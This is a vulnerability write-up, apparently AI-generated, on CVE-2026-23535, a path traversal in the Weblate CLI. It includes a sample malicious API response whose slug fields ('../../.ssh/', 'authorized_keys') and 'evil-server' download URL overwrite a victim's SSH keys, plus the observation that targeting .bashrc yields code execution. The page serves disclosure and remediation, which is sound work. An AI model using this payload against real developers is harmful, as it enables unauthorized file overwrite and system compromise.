CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-23535

Trust Issues: Arbitrary File Write in Weblate CLI (CVE-2026-23535)

Alon Barad
Alon Barad
Software Engineer

Jan 16, 2026·5 min read·33 visits

Executive Summary (TL;DR)

The Weblate CLI (wlc) blindly trusted server-provided identifiers when naming downloaded files. A malicious server can return a 'slug' containing directory traversal sequences (`../../`), allowing it to overwrite files like `~/.ssh/authorized_keys` or `.bashrc` on the developer's machine. Fixed in version 1.17.2 via strict regex sanitization.

A critical Path Traversal vulnerability in the Weblate command-line client (wlc) allows a malicious or compromised Weblate server to write arbitrary files to the client's machine. By crafting malicious 'slug' identifiers in API responses, an attacker can escape the download directory and overwrite sensitive user files.

The Hook: The Server Is Not Your Friend

In the modern DevSecOps landscape, we are obsessed with Zero Trust networking, yet we constantly run CLI tools that treat upstream servers like old drinking buddies. We curl | bash, we npm install packages from strangers, and in this case, we run wlc download to fetch translation files, assuming the server will behave itself. It turns out, that assumption is a critical error.

Weblate is a fantastic tool for managing internationalization. It automates the tedious process of syncing translation strings. The Weblate CLI (wlc) is the glue that developers use to pull those strings into their local environments or CI/CD pipelines. It connects to the Weblate API, asks for the latest data, and saves it to disk.

But here is the catch: when wlc asks the server "What should I name this file?", the vulnerable versions didn't verify the answer. If a compromised or malicious Weblate server decides that the file should be named ../../../../../bin/malware, the CLI dutifully obliges. This isn't just a bug; it's a fundamental architectural failure in trusting external input.

The Flaw: Logic in the Wrong Place

The vulnerability (CVE-2026-23535) is a classic Path Traversal (CWE-22), but the context makes it interesting. Usually, we see path traversal on the server side (a client asking for /etc/passwd). This is the reverse: the client is the victim, and the server is the attacker.

When you run the download command, wlc queries the API for project components. The API returns a JSON object containing metadata, including a slug—a short, URL-friendly identifier for the project and component. The CLI intends to save the file as [output_dir]/[project_slug]-[component_slug].zip.

The logic flaw is simple: the code assumed that a "slug" would always be a benign alphanumeric string. It failed to anticipate that a malicious API response could contain special characters like /, \, or ... Because Python's pathlib (and filesystem APIs in general) resolves paths dynamically, injecting ../ into the filename causes the write operation to traverse up the directory tree, escaping the intended sandbox.

The Code: Anatomy of a Screw-up

Let's look at the smoking gun in wlc/main.py. The code uses pathlib.Path to construct the file path. While pathlib is generally safer than string concatenation for cross-platform compatibility, it does not inherently block traversal attacks if you feed it garbage.

Here is the vulnerable logic from versions prior to 1.17.2:

# The naive approach
directory = Path(self.args.output)
# trusting component.slug and component.project.slug implicitly
file_path = directory.joinpath(f"{component.project.slug}-{component.slug}.zip")
 
directory.mkdir(exist_ok=True, parents=True)
file_path.write_bytes(content)

If self.args.output is /home/user/translations, and the server sends a project slug of ../../.ssh/ and a component slug of authorized_keys, the file_path resolves to /home/user/translations/../../.ssh/authorized_keys. The operating system normalizes this to /home/user/.ssh/authorized_keys, and write_bytes(content) overwrites your keys with whatever payload the server sent.

The fix, implemented in commit 216e691c6e50abae97fe2e4e4f21501bf49a585f, introduces a strict whitelist. They didn't just try to strip ../ (which is often bypassable); they nuked everything that isn't alphanumeric:

# The fix in wlc/utils.py
NON_SLUG_RE = re.compile(r"[^a-zA-Z0-9_]")
 
def sanitize_slug(slug: str) -> str:
    # Replace anything weird with a hyphen
    return NON_SLUG_RE.sub("-", slug)

Now, ../../ becomes ------, rendering the traversal impotent.

The Exploit: From API to RCE

To exploit this, an attacker needs control over the Weblate server instance that the victim is connecting to. This could be a rogue server setup to trick users (social engineering) or a legitimate Weblate instance that has been compromised. The attacker modifies the API response for the project metadata.

Here is the attack chain:

  1. Setup: Attacker configures the Weblate API to return specific JSON for the GET /api/components/ endpoint.
  2. Payload: The attacker sets the slug to a traversal path.
{
  "results": [
    {
      "name": "Malicious Component",
      "slug": "authorized_keys",
      "project": {
        "name": "Pwned Project",
        "slug": "../../.ssh/"
      },
      "file_url": "http://evil-server/payload.zip" 
    }
  ]
}
  1. Execution: The victim runs wlc download --output ./translations.
  2. Detonation: The CLI parses the JSON, constructs the path ../../.ssh/authorized_keys, downloads the zip file (which is actually a raw public key, not a zip, or the attacker relies on the zip content extraction depending on the exact flow), and writes it.

> [!WARNING] > If the attacker targets .bashrc or .zshrc, they gain persistent Remote Code Execution (RCE) the next time the developer opens a terminal. This turns a file write vulnerability into a full system compromise.

The Fix: Mitigation & Remediation

The remediation is straightforward: strict input sanitization. The developers of Weblate CLI reacted correctly by implementing an allowlist approach rather than a blocklist. Blocklists (trying to filter ../) are notoriously difficult to get right due to URL encoding, unicode normalization, and OS-specific separators.

Immediate Steps for Users:

  1. Upgrade: Update to wlc version 1.17.2 immediately. This version includes the regex sanitization that neuters the attack.
    pip install --upgrade wlc
  2. Audit: If you suspect you've connected to a malicious server, check your home directory for unexpected files, particularly in hidden configuration folders (.ssh, .config, shell profiles).

Lessons for Developers: Never trust data coming from an API, even if it's your own API. When performing filesystem operations based on remote input, always treat the input as hostile. Use os.path.basename() or strict regex validation to ensure filenames do not contain directory separators.

Official Patches

WeblateGitHub Commit fixing the issue

Fix Analysis (1)

Technical Appendix

CVSS Score
8.1/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Affected Systems

Weblate CLI (wlc) < 1.17.2Developer WorkstationsCI/CD Pipelines using wlc

Affected Versions Detail

Product
Affected Versions
Fixed Version
Weblate CLI (wlc)
Weblate
< 1.17.21.17.2
AttributeDetail
CWE IDCWE-22
Attack VectorNetwork (Malicious Server Response)
CVSS v3.18.1 (High)
ImpactArbitrary File Write / Potential RCE
Exploit StatusPoC Available
Patch StatusFixed in 1.17.2

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059Command and Scripting Interpreter
Execution
CWE-22
Path Traversal

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Known Exploits & Detection

Internal ResearchExploitation is trivial by mocking an API response with traversal characters in the slug field.

Vulnerability Timeline

Vulnerability identified
2026-01-14
Patch released in wlc 1.17.2
2026-01-16

References & Sources

  • [1]Fix Commit
  • [2]Weblate Homepage

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 20 hours ago•CVE-2026-58197
8.8

CVE-2026-58197: Host Escape and Lateral Movement via Insecure Container Network Defaults in ToolHive

A high-severity access control vulnerability in ToolHive CLI before v0.30.1 and ToolHive Studio before v0.38.0 allows local containerized MCP servers to bypass network isolation. This enables malicious workloads to establish TCP/IP connections to administrative and control plane endpoints exposed on the host loopback interface.

Amit Schendel
Amit Schendel
7 views•8 min read
•about 21 hours ago•CVE-2026-63405
5.9

CVE-2026-63405: Insufficient Verification of Data Authenticity in AnyCable Pusher REST API

AnyCable is a real-time communication server. Prior to version 1.6.15, its Pusher-compatible REST API suffered from an authentication bypass vulnerability because it failed to verify that the request body matched the signature-validated body_md5 parameter. This allows attackers to perform replay attacks with modified body contents.

Amit Schendel
Amit Schendel
7 views•5 min read
•about 22 hours ago•CVE-2026-64847
6.8

CVE-2026-64847: Indefinite Denial of Service via Undrained Stderr in AnyIO Process Pool Workers

A denial-of-service vulnerability exists in AnyIO prior to version 4.14.2. Standard error streams of process-pool workers are connected to an operating system pipe that is never drained by the parent process. This allows a worker to fill the pipe buffer and deadlock indefinitely.

Amit Schendel
Amit Schendel
7 views•6 min read
•about 23 hours ago•CVE-2026-63349
7.0

CVE-2026-63349: Privilege Dropping Bypass and Denial of Service in AnyIO Subprocess Module

CVE-2026-63349 is a critical privilege-dropping bypass vulnerability in the AnyIO asynchronous framework (versions 4.14.0 and 4.14.1) on POSIX platforms. Due to a variable assignment typo, supplementary groups specified by the developer are not correctly propagated to the execution backend, resulting in subprocesses retaining the parent process's elevated supplementary group permissions.

Alon Barad
Alon Barad
10 views•5 min read
•about 24 hours ago•CVE-2026-63406
5.9

CVE-2026-63406: Information Disclosure via Insecure Telemetry and Hardcoded Credentials in AnyCable-Go

CVE-2026-63406 is an information disclosure vulnerability in AnyCable-go prior to version 1.6.15. The built-in telemetry client is enabled by default with a hardcoded public authentication token ('secret'). This client digests highly sensitive configuration parameters and command-line arguments, including JWT secrets and RPC secrets, into a stable SHA-256 fingerprint. This fingerprint is sent over public networks, exposing those administrative secrets to offline dictionary and brute-force attacks if intercepted.

Alon Barad
Alon Barad
7 views•5 min read
•1 day ago•CVE-2026-84992
6.1

CVE-2026-84992: Cross-Site Scripting (XSS) via Fenced Code Block Parsing in md-editor-v3

CVE-2026-84992 is a Cross-Site Scripting (XSS) vulnerability affecting md-editor-v3 before version 6.5.4. It occurs because the fenced-code block language parser directly interpolates unescaped language metadata into unquoted HTML attributes inside the custom rendering callback. This bypasses the built-in XSSPlugin which runs during the parsing phase, before rendering.

Amit Schendel
Amit Schendel
9 views•6 min read